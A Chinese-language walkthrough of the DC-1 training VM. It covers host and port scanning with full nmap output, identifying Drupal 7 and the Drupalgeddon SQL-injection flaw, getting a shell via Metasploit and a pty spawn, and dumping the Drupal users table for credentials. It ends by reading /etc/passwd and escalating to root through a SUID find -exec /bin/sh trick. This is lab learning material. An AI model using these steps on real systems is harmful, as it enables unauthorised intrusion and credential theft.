1,主机发现
1),nmap -sP 192.168.44.0/24 对当前网段内存活的主机进行扫描。
2),主机发现也可以使用
netdiscover -i eth0 -r 192.168.44.0/24
-i 指定网卡,-r指定网段
3),fping -g 192.168.44.100 192.168.44.160
4),arp-scan -l
-l 指从网络接口配置生成地址
以上的方法都可以扫描出靶机的ip地址为 192.168.44.148。在平时的测试中可以多尝试几种方法,因为在真实的渗透环境中有些探测方式可能会被限制。
2,端口扫描
1),使用 nmap -T5 -A -v -p- 192.168.44.148 命令,对其进行更深度的扫描。
root@kali:~/桌面# nmap -T5 -A -v -p- 192.168.44.148
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-30 18:34 CST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating ARP Ping Scan at 18:34
Scanning 192.168.44.148 [1 port]
Completed ARP Ping Scan at 18:34, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:34
Completed Parallel DNS resolution of 1 host. at 18:34, 0.05s elapsed
Initiating SYN Stealth Scan at 18:34
Scanning 192.168.44.148 [65535 ports]
Discovered open port 111/tcp on 192.168.44.148
Discovered open port 80/tcp on 192.168.44.148
Discovered open port 22/tcp on 192.168.44.148
Discovered open port 43261/tcp on 192.168.44.148
Completed SYN Stealth Scan at 18:34, 8.72s elapsed (65535 total ports)
Initiating Service scan at 18:34
Scanning 4 services on 192.168.44.148
Completed Service scan at 18:34, 11.75s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.44.148
NSE: Script scanning 192.168.44.148.
Initiating NSE at 18:34
Completed NSE at 18:34, 10.03s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.55s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Nmap scan report for 192.168.44.148
Host is up (0.00052s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 43261/tcp status
| 100024 1 45131/udp status
| 100024 1 45923/tcp6 status
|_ 100024 1 51148/udp6 status
43261/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:E2:BB:BC (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Uptime guess: 0.044 days (since Thu Jun 30 17:32:02 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.52 ms 192.168.44.148
NSE: Script Post-scanning.
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Initiating NSE at 18:34
Completed NSE at 18:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.58 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
2),masscan --rate==10000 -p 0-65535 192.168.44.148
masscan也可以进行端口的扫描,速度比nmap快一点,但是内容没有nmap详细,但是直接用nmap可能会方便点。
3,收集端口以及对应的服务,以及其他信息。
由扫描出来的内容可以的到目标主机的22,80,111端口开放,在80端口上运行Drupal 7这个CMS。
什么是 CMS
内容管理系统 (CMS) 是一种存储所有数据 (如文本,照片,音乐,文档等) 并在你的网站上提供的软件. 它有助于编辑,发布和修改网站的内容.
尝试利用80端口,浏览器上访问
Wappalyzer 是一款强大的网站技术栈嗅探工具。利用Wappalyzer 可以快速识别一个网站用到的前后端技术框架、运行容器、脚本库等。是集成在google上的一个插件。
使用 dirb http://192.168.44.148/,收集web网站的目录信息。dirb的功能和御剑相似。
在web渗透的过程中robots.txt是一个很重要的目录,可以帮助我们查看网站的敏感路径、敏感文件等,从中可以搜集到用于渗透的信息。访问robots.txt上的一些文件和网站都没有有用的信息。
4,搜索框架漏洞
根据Wappalyzer扫描结果验证了该服务器是由drupal框架搭建的,因此可以尝试搜索该框架的漏洞。
利用Metasploit框架,通过它可以获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
对于drupal框架漏洞的描述
CVE-2014-3704 “Drupalgeddon” SQL 注入漏洞
描述Drupal 7.0~7.31 版本中存在一处无需认证的 SQL 漏洞。通过该漏洞,攻击者可以执行任意 SQL 语句,插入、修改管理员信息,甚至执行任意代码。
影响版本
Drupal 7.0 ~ 7.31
5,漏洞利用
msfconsole //打开msf框架
search drupal
在网上搜到一个利用python提升成一个吻交互式的shell:
python -c "import pty;pty.spawn('/bin/bash')"
现在成功的getshell。
6,进行进一步的信息收集
1),获取到flag1
cat flag1.txt
Every good CMS needs a config file - and so do you.
2),获取flag2
根据提示,去找cms的配置文件,通过百度搜索到drupal框架的配置文件为settings.php
3),获取flag3
flag2的提示为
暴力破解和字典攻击不是*只有获得访问权限的方式(您将需要访问权限)。您可以使用这些凭据做什么?
当所在的位置权限并不是最高权限,
但是可以尝试连接,使用flag提供的账号密码信息
mysql -u dbuser -p
show tables;//查看数据表。
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_update |
| cache_views |
| cache_views_data |
| comment |
| ctools_css_cache |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_comment_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter |
| filter_format |
| flood |
| history |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_comment_statistics |
| node_revision |
| node_type |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role |
| role_permission |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
80 rows in set (0.00 sec)
查数据表的时候有一个users表,这是张比较敏感的表,查询该数据表
select * from users;
发现有三个字段信息uid、name、pass
select uid,name,pass from users; //查询账号密码
这里发现了两对用户名和密码,由于密码进行了加密,所以我们可以尝试更换密码
这就需要我们了解drupal框架所采用的加密方式
经过查询后:Drupal的安装目录中的scripts目录下,有一些Drupal开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。
在浏览器上使用账号密码登录。
成功获取到flag3。
4),根据flag3的提示。
特殊的权限可以帮助你发现隐藏的内容。
cat /etc/passwd 查看一下用户和账号信息,
发现一个特殊的用户flag4,并且其该用户信息储存在/home/flag4中,查看flag4,
cat /home/flag4,得到flag4
5),根据flag4的提示信息,需要我们找到root目录下的flag因此这里需要进行提权!
什么是SUID?
SUID:Set User ID 是一种权限类型,允许用户使用指定用户的权限执行文件。那些有suid权限的文件以最高的权限运行。假设我们以非root用户访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件、程序、命令可以以root权限运行,SUID的目的就是:让没有相应权限的用户运行这个程序时,可以访问没有权限访问的资料。
SUID提权的利用
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
其中: -perm:按照文件权限来查找
已知的可以用来提权的Linux可执行性文件列表如下:
nmap、vim、find、bash、more、less、nano、cp
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
搜索可执行文件,发现可以用来提权的可执行文件
find / -perm -u=s -type f 2>/dev/null
然后创建一个新的文件,利用find命令进行提权
find a -exec "/bin/sh" ;
7,总结
成功的获取到这个靶机的所有flag,之前总是觉得自己的实战经验不够,通过此系列的靶机机希望能够多学到点知识。加油!
参考:DC系列靶机(一)_花香蝶自开的博客-CSDN博客_dc靶机